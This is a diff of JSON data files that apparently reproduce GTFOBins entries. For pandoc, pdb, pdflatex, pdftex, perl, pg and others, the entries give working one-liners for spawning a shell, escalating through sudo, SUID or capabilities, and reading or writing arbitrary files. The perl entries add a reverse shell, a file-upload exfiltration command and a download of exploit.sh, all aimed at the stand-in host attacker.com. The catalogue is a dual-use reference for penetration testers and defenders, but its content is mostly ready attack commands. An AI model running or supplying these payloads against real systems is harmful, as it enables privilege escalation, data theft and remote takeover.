"file-read": [
|
|
4
|
+
{
|
|
5
|
+
|
|
6
|
+
"code": "LFILE=file_to_read\npandoc -t plain \"$LFILE\"\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"file-write": [
|
|
10
|
+
{
|
|
11
|
+
|
|
12
|
+
"code": "LFILE=file_to_write\necho DATA | pandoc -t plain -o \"$LFILE\"\n"
|
|
13
|
+
}
|
|
14
|
+
],
|
|
15
|
+
"shell": [
|
|
16
|
+
{
|
|
17
|
+
"description": "Pandoc has a builtin [`lua`](/gtfobins/lua/) interpreter for writing filters, other functions might apply.",
|
|
18
|
+
"code": "TF=$(mktemp)\necho 'os.execute(\"/bin/sh\")' >$TF\npandoc -L $TF /dev/null\n"
|
|
19
|
+
}
|
|
20
|
+
],
|
|
21
|
+
"suid": [
|
|
22
|
+
{
|
|
23
|
+
|
|
24
|
+
"code": "LFILE=file_to_write\necho DATA | ./pandoc -t plain -o \"$LFILE\"\n"
|
|
25
|
+
}
|
|
26
|
+
],
|
|
27
|
+
"limited-suid": [
|
|
28
|
+
{
|
|
29
|
+
"description": "Pandoc has a builtin [`lua`](/gtfobins/lua/) interpreter for writing filters, other functions might apply.",
|
|
30
|
+
"code": "TF=$(mktemp)\necho 'os.execute(\"/bin/sh\")' >$TF\n./pandoc -L $TF /dev/null\n"
|
|
31
|
+
}
|
|
32
|
+
],
|
|
33
|
+
"sudo": [
|
|
34
|
+
{
|
|
35
|
+
"description": "Pandoc has a builtin [`lua`](/gtfobins/lua/) interpreter for writing filters, other functions might apply.",
|
|
36
|
+
"code": "TF=$(mktemp)\necho 'os.execute(\"/bin/sh\")' >$TF\nsudo pandoc -L $TF /dev/null\n"
|
|
37
|
+
}
|
|
38
|
+
]
|
|
39
|
+
}
|
|
40
|
+
}
|
gtfo/data/passwd.json
ADDED
gtfo/data/paste.json
CHANGED
|
@@ -2,17 +2,20 @@
|
|
|
2
2
|
"functions": {
|
|
3
3
|
"file-read": [
|
|
4
4
|
{
|
|
5
|
-
|
|
5
|
+
|
|
6
|
+
"code": "LFILE=file_to_read\npaste $LFILE\n"
|
|
6
7
|
}
|
|
7
8
|
],
|
|
8
9
|
"suid": [
|
|
9
10
|
{
|
|
10
|
-
|
|
11
|
+
|
|
12
|
+
"code": "LFILE=file_to_read\npaste $LFILE\n"
|
|
11
13
|
}
|
|
12
14
|
],
|
|
13
15
|
"sudo": [
|
|
14
16
|
{
|
|
15
|
-
|
|
17
|
+
|
|
18
|
+
"code": "LFILE=file_to_read\nsudo paste $LFILE\n"
|
|
16
19
|
}
|
|
17
20
|
]
|
|
18
21
|
}
|
gtfo/data/pax.json
ADDED
gtfo/data/pdb.json
CHANGED
|
@@ -1,15 +1,16 @@
|
|
|
1
1
|
{
|
|
2
|
-
"description": "This allows to execute Python code, other functions may apply.",
|
|
3
2
|
"functions": {
|
|
4
3
|
"shell": [
|
|
5
4
|
{
|
|
5
|
+
|
|
6
6
|
"code": "TF=$(mktemp)\necho 'import os; os.system(\"/bin/sh\")' > $TF\npdb $TF\ncont\n"
|
|
7
7
|
}
|
|
8
8
|
],
|
|
9
9
|
"sudo": [
|
|
10
10
|
{
|
|
11
|
+
|
|
11
12
|
"code": "TF=$(mktemp)\necho 'import os; os.system(\"/bin/sh\")' > $TF\nsudo pdb $TF\ncont\n"
|
|
12
13
|
}
|
|
13
14
|
]
|
|
14
15
|
}
|
|
15
|
-
}
|
|
16
|
+
}
|
gtfo/data/pdflatex.json
CHANGED
|
@@ -2,26 +2,29 @@
|
|
|
2
2
|
"functions": {
|
|
3
3
|
"shell": [
|
|
4
4
|
{
|
|
5
|
+
|
|
5
6
|
"code": "pdflatex --shell-escape '\\documentclass{article}\\begin{document}\\immediate\\write18{/bin/sh}\\end{document}'\n"
|
|
6
7
|
}
|
|
7
8
|
],
|
|
8
9
|
"file-read": [
|
|
9
10
|
{
|
|
10
11
|
"description": "The read file will be part of the output.",
|
|
11
|
-
"code": "pdflatex '\\documentclass{article}\\usepackage{verbatim}\\begin{document}\\verbatiminput{
|
|
12
|
+
"code": "pdflatex '\\documentclass{article}\\usepackage{verbatim}\\begin{document}\\verbatiminput{file_to_read}\\end{document}'\npdftotext article.pdf -\n"
|
|
12
13
|
}
|
|
13
14
|
],
|
|
14
15
|
"sudo": [
|
|
15
16
|
{
|
|
16
17
|
"description": "The read file will be part of the output.",
|
|
17
|
-
"code": "sudo pdflatex '\\documentclass{article}\\usepackage{verbatim}\\begin{document}\\verbatiminput{
|
|
18
|
+
"code": "sudo pdflatex '\\documentclass{article}\\usepackage{verbatim}\\begin{document}\\verbatiminput{file_to_read}\\end{document}'\npdftotext article.pdf -\n"
|
|
18
19
|
},
|
|
19
20
|
{
|
|
21
|
+
|
|
20
22
|
"code": "sudo pdflatex --shell-escape '\\documentclass{article}\\begin{document}\\immediate\\write18{/bin/sh}\\end{document}'\n"
|
|
21
23
|
}
|
|
22
24
|
],
|
|
23
25
|
"limited-suid": [
|
|
24
26
|
{
|
|
27
|
+
|
|
25
28
|
"code": "./pdflatex --shell-escape '\\documentclass{article}\\begin{document}\\immediate\\write18{/bin/sh}\\end{document}'\n"
|
|
26
29
|
}
|
|
27
30
|
]
|
gtfo/data/pdftex.json
CHANGED
|
@@ -2,16 +2,19 @@
|
|
|
2
2
|
"functions": {
|
|
3
3
|
"shell": [
|
|
4
4
|
{
|
|
5
|
+
|
|
5
6
|
"code": "pdftex --shell-escape '\\write18{/bin/sh}\\end'\n"
|
|
6
7
|
}
|
|
7
8
|
],
|
|
8
9
|
"sudo": [
|
|
9
10
|
{
|
|
11
|
+
|
|
10
12
|
"code": "sudo pdftex --shell-escape '\\write18{/bin/sh}\\end'\n"
|
|
11
13
|
}
|
|
12
14
|
],
|
|
13
15
|
"limited-suid": [
|
|
14
16
|
{
|
|
17
|
+
|
|
15
18
|
"code": "./pdftex --shell-escape '\\write18{/bin/sh}\\end'\n"
|
|
16
19
|
}
|
|
17
20
|
]
|
gtfo/data/perf.json
ADDED
gtfo/data/perl.json
CHANGED
|
@@ -2,33 +2,54 @@
|
|
|
2
2
|
"functions": {
|
|
3
3
|
"shell": [
|
|
4
4
|
{
|
|
5
|
-
"
|
|
5
|
+
"description": "",
|
|
6
|
+
"code": "perl -e 'exec \"/bin/sh\";'\n"
|
|
6
7
|
}
|
|
7
8
|
],
|
|
8
9
|
"file-read": [
|
|
9
10
|
{
|
|
10
|
-
"
|
|
11
|
+
"description": "",
|
|
12
|
+
"code": "LFILE=file_to_read\nperl -ne print $LFILE\n"
|
|
13
|
+
}
|
|
14
|
+
],
|
|
15
|
+
"file-upload": [
|
|
16
|
+
{
|
|
17
|
+
"description": "Send local file via \"d\" parameter of a HTTP POST request. Run an HTTP service on the attacker box to collect the file.",
|
|
18
|
+
"code": "export RHOST=attacker.com\nexport RPORT=8080\nexport LFILE=file_to_send\nperl -MIO::Socket::INET -e '$s = new IO::Socket::INET(PeerAddr=>$ENV{\"RHOST\"}, PeerPort=>$ENV{\"RPORT\"}, Proto=>\"tcp\") or die;open(my $file, \"<\", $ENV{\"LFILE\"}) or die;$content = join(\"\", <$file>);close($file);$post_data = \"d=\" . $content;$headers = \"POST / HTTP/1.1\\r\\nHost: \" . $ENV{\"RHOST\"} . \"\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nContent-Length: \" . length($post_data) . \"\\r\\nConnection: close\\r\\n\\r\\n\";print $s $headers . $post_data;while (<$s>) { }close($s);'\n"
|
|
19
|
+
}
|
|
20
|
+
],
|
|
21
|
+
"file-download": [
|
|
22
|
+
{
|
|
23
|
+
"description": "Download a file via HTTP. For example, run `python3 -m http.server 8080` on the serving side.",
|
|
24
|
+
"code": "export RHOST=attacker.com\nexport RPORT=8080\nexport URL=/exploit.sh\nexport LFILE=output.txt\nperl -MIO::Socket::INET -e '$s=new IO::Socket::INET(PeerAddr=>$ENV{\"RHOST\"},PeerPort=>$ENV{\"RPORT\"},Proto=>\"tcp\") or die; print $s \"GET \" . $ENV{\"URL\"} . \" HTTP/1.1\\r\\nHost: \" . $ENV{\"RHOST\"} . \"\\r\\nMetadata: true\\r\\nConnection: close\\r\\n\\r\\n\"; open(my $fh, \">\", $ENV{\"LFILE\"}) or die; $in_content = 0; while (<$s>) { if ($in_content) { print $fh $_; } elsif ($_ eq \"\\r\\n\") { $in_content = 1; } } close($s); close($fh);'\n"
|
|
11
25
|
}
|
|
12
26
|
],
|
|
13
27
|
"reverse-shell": [
|
|
14
28
|
{
|
|
15
|
-
"description": "Run
|
|
16
|
-
"code": "
|
|
29
|
+
"description": "Run `nc -l -p 12345` on the attacker box to receive the shell.",
|
|
30
|
+
"code": "export RHOST=attacker.com\nexport RPORT=12345\nperl -e 'use Socket;$i=\"$ENV{RHOST}\";$p=$ENV{RPORT};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'\n"
|
|
17
31
|
}
|
|
18
32
|
],
|
|
19
33
|
"suid": [
|
|
20
34
|
{
|
|
21
|
-
"
|
|
35
|
+
"description": "",
|
|
36
|
+
"code": "./perl -e 'exec \"/bin/sh\";'\n"
|
|
22
37
|
}
|
|
23
38
|
],
|
|
24
39
|
"sudo": [
|
|
25
40
|
{
|
|
26
|
-
"
|
|
41
|
+
"description": "",
|
|
42
|
+
"code": "sudo perl -e 'exec \"/bin/sh\";'\n"
|
|
43
|
+
},
|
|
44
|
+
{
|
|
45
|
+
"description": "Don't forget to `CTRL+D` to exit the perl shell and get the shell.",
|
|
46
|
+
"code": "sudo PERL5OPT=-d PERL5DB='exec \"/bin/sh\"' perl\n"
|
|
27
47
|
}
|
|
28
48
|
],
|
|
29
49
|
"capabilities": [
|
|
30
50
|
{
|
|
31
|
-
"
|
|
51
|
+
"description": "",
|
|
52
|
+
"code": "./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec \"/bin/sh\";'\n"
|
|
32
53
|
}
|
|
33
54
|
]
|
|
34
55
|
}
|
gtfo/data/perlbug.json
ADDED
gtfo/data/pexec.json
ADDED
gtfo/data/pg.json
CHANGED
|
@@ -2,23 +2,27 @@
|
|
|
2
2
|
"functions": {
|
|
3
3
|
"shell": [
|
|
4
4
|
{
|
|
5
|
+
|
|
5
6
|
"code": "pg /etc/profile\n!/bin/sh\n"
|
|
6
7
|
}
|
|
7
8
|
],
|
|
8
9
|
"file-read": [
|
|
9
10
|
{
|
|
10
|
-
|
|
11
|
+
|
|
12
|
+
"code": "pg file_to_read\n"
|
|
11
13
|
}
|
|
12
14
|
],
|
|
13
15
|
"sudo": [
|
|
14
16
|
{
|
|
17
|
+
|
|
15
18
|
"code": "sudo pg /etc/profile\n!/bin/sh\n"
|
|
16
19
|
}
|
|
17
20
|
],
|
|
18
21
|
"suid": [
|
|
19
22
|
{
|
|
20
|
-
|
|
23
|
+
|
|
24
|
+
"code": "./pg file_to_read\n"
|
|
21
25
|
}
|
|
22
26
|
]
|
|
23
27
|
}
|
|
24
|
-
}
|
|
28
|
+
}
|